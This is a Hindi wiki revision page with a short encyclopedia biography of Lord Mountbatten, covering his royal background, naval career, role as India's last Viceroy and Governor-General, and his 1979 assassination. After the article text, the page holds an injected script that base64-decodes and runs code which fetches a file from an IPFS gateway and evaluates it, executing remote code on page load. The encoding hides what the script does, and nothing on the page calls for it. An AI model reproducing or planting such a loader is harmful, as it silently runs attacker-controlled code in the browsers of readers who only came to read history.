"लॉर्ड माउंटबेटन" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "लार्ड" to "लॉर्ड")
पंक्ति 1: पंक्ति 1:
 +
[[चित्र:Lord-Mountbatten.jpg|thumb|लॉर्ड माउंटबेटन]]
 
'''लॉर्ड माउण्टबेटेन''' का मूल नाम '''लुई फ़्राँसिस एल्बर्ट विक्टर निकोलस''' था। इनका जन्म 25 जून, [[1900]] ई. में फ़्रॉगमोर हाउस, विंडसर इंग्लैण्ड में हुआ और मृत्यु 27 अगस्त, [[1979]] ई. में डोनेगल बे, मुलैघमोर के पास, काउण्टी स्लाइगो, आयरलैण्ड में हुई। यह ब्रिटिश राजनेता, नौसेना प्रमुख और [[भारत]] के अन्तिम वाइसराय थे। लॉर्ड माउण्ट बेटेन की अन्तर्राष्ट्रीय पृष्ठभूमि एक राजसी परिवार की थी। उनके कार्यकाल में व्यापक नौसेना कमान, भारत और [[पाकिस्तान]] की स्वतंत्रता के लिए राजनयिक वार्ताएँ और सैन्य रक्षा का उच्चतम नेतृत्व शामिल है।  
 
'''लॉर्ड माउण्टबेटेन''' का मूल नाम '''लुई फ़्राँसिस एल्बर्ट विक्टर निकोलस''' था। इनका जन्म 25 जून, [[1900]] ई. में फ़्रॉगमोर हाउस, विंडसर इंग्लैण्ड में हुआ और मृत्यु 27 अगस्त, [[1979]] ई. में डोनेगल बे, मुलैघमोर के पास, काउण्टी स्लाइगो, आयरलैण्ड में हुई। यह ब्रिटिश राजनेता, नौसेना प्रमुख और [[भारत]] के अन्तिम वाइसराय थे। लॉर्ड माउण्ट बेटेन की अन्तर्राष्ट्रीय पृष्ठभूमि एक राजसी परिवार की थी। उनके कार्यकाल में व्यापक नौसेना कमान, भारत और [[पाकिस्तान]] की स्वतंत्रता के लिए राजनयिक वार्ताएँ और सैन्य रक्षा का उच्चतम नेतृत्व शामिल है।  
 
====राजसी पृष्ठभूमि====
 
====राजसी पृष्ठभूमि====

11:42, 12 फ़रवरी 2011 का अवतरण

लॉर्ड माउंटबेटन

लॉर्ड माउण्टबेटेन का मूल नाम लुई फ़्राँसिस एल्बर्ट विक्टर निकोलस था। इनका जन्म 25 जून, 1900 ई. में फ़्रॉगमोर हाउस, विंडसर इंग्लैण्ड में हुआ और मृत्यु 27 अगस्त, 1979 ई. में डोनेगल बे, मुलैघमोर के पास, काउण्टी स्लाइगो, आयरलैण्ड में हुई। यह ब्रिटिश राजनेता, नौसेना प्रमुख और भारत के अन्तिम वाइसराय थे। लॉर्ड माउण्ट बेटेन की अन्तर्राष्ट्रीय पृष्ठभूमि एक राजसी परिवार की थी। उनके कार्यकाल में व्यापक नौसेना कमान, भारत और पाकिस्तान की स्वतंत्रता के लिए राजनयिक वार्ताएँ और सैन्य रक्षा का उच्चतम नेतृत्व शामिल है।

राजसी पृष्ठभूमि

यह बैटनबर्ग के राजकुमार लुई, बाद में मिलफ़ोर्ड हैवन के मार्क्विस और उनकी पत्नी हेस-डार्मस्टैट की राजकुमारी विक्टोरिया, ब्रिटिश महारानी विक्टोरिया की पड़पोती की चौथी सन्तान थे। 1913 ई. में उन्होंने ब्रिटिश नौसेना में प्रवेश किया और योग्यता तथा चुस्ती के कारण द्वितीय विश्वयुद्ध में नौसेना के उच्च कमाण्डर नियुक्त हुए और वेल्स के राजकुमार के परिसहायक (1921) बनने से पहले विभिन्न नौसेनिक अभियानों में हिस्सा लिया। 1922 में उन्होंने एडविना एश्ले (जिनकी 1960 में उत्तरी बोर्नियो में मृत्यु हो गई, जब वह सेण्ट जॉन एम्बुलेन्स ब्रिगेड की प्रमुख निरीक्षक के रूप में दौरा कर रही थीं) से विवाह किया।

पदोन्नती

1932 में उन्हें पदोन्नत कर कैप्टन बनाया गया और अगले साल उन्होंने फ़्राँसीसी तथा जर्मन भाषाओं में दुभाषिए के रूप में दक्षता प्राप्त कर ली। द्वितीय विश्वयुद्ध छिड़ने पर ध्वंसक कैली और पाँचवें ध्वंसक बेड़े की कमान में उन्हें 1941 में एक विमानवाहक पोत का कमाण्डर नियुक्त किया गया। अप्रैल 1942 में उन्हें संयुक्त कार्यवाही का प्रमुख घोषित किया गया और वह कार्यवाहक उपनौसेनाध्यक्ष एवं वास्वत में बलाधिकरण प्रमुखों में से एक सदस्य बन गए। इस पदवी से उन्हें दक्षिण-पूर्व एशिया के लिए सर्वोच्च मित्र कमाण्डर (1943-1946), नियुक्त किया गया। जिससे उनके चचेरे भाई ब्रिटेन के राजा के ख़िलाफ़ भाई-भतीजावाद की शिकायतें हुईं।

भारत के वाइसराय

इन्होंने जापान के विरुद्ध सफलतापूर्वक युद्ध संचालन किया, जिससे बर्मा (म्यांमार) पर फिर से अधिकार हो सका। वह 1947 ई. में भारत के वाइसराय नियुक्त हुए। उन्होंने 15 अगस्त, 1947 ई. को भारत का, भारत तथा पाकिस्तान के रूप में विभाजन करके ब्रिटिश हाथों से भारतीय हाथों में सत्ता हस्तान्तरण के कार्य में भारी युक्तिकौशल, चुस्ती तथा राजनीतिक सूझ-बूझ का परिचय दिया। वह भारत के नये राज्य के गवर्नर-जनरल नियुक्त हुए। इस हैसियत से उन्होंने देशी राजाओं को अपनी रियासतों को भारत संघ अथवा पाकिस्तान में विलयन करने के लिए प्रेरित करने में महत्वपूर्ण भूमिका अदा की। बाद में पाकिस्तान ने सीमा प्रान्त के कबीले वालों को कश्मीर पर हमला करने में मदद दी, उन्होंने भारत सरकार को विवाद संयुक्त राष्ट्रसंघ की सुरक्षा परिषद में पेश करने की सलाह दी और इस प्रकार भारत तथा पाकिस्तान के बीच कश्मीर विवाद उत्पन्न करने में मदद की।

समुद्र अधिपति

माउण्टबेटेन 1950-1952 में चौथे समुद्र अधिपति (सी लॉर्ड), 1952-1954 में मध्यसागर बेड़े के कमाण्डर-इन-चीफ़ और 1955-1959 में पहले सी लॉर्ड थे। 1956 में वह बेड़े के एडमिरल बने और 1959-65 में यूनाइटेड किंगडम डिफ़ेन्स स्टाफ़ के प्रमुख एवं चीफ़्स ऑफ़ स्टाफ़ कमिटी के अध्यक्ष बने। वह आइल ऑफ़ वाइट के गवर्नर (1965) और फिर लॉर्ड लेफ़्टिनेण्ट (1974) बने।

हत्या

1979 में प्रोविज़िनल आइरिश रिपब्लिकन आर्मी के आतंकवादियों ने माउण्ट बेटेन की हत्या उनकी नौका में बम लगाकर कर दी।


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  • (पुस्तक 'भारतीय इतिहास कोश') पृष्ठ संख्या-358
  • (पुस्तक 'भारत ज्ञानकोश') पृष्ठ संख्या-339

संबंधित लेख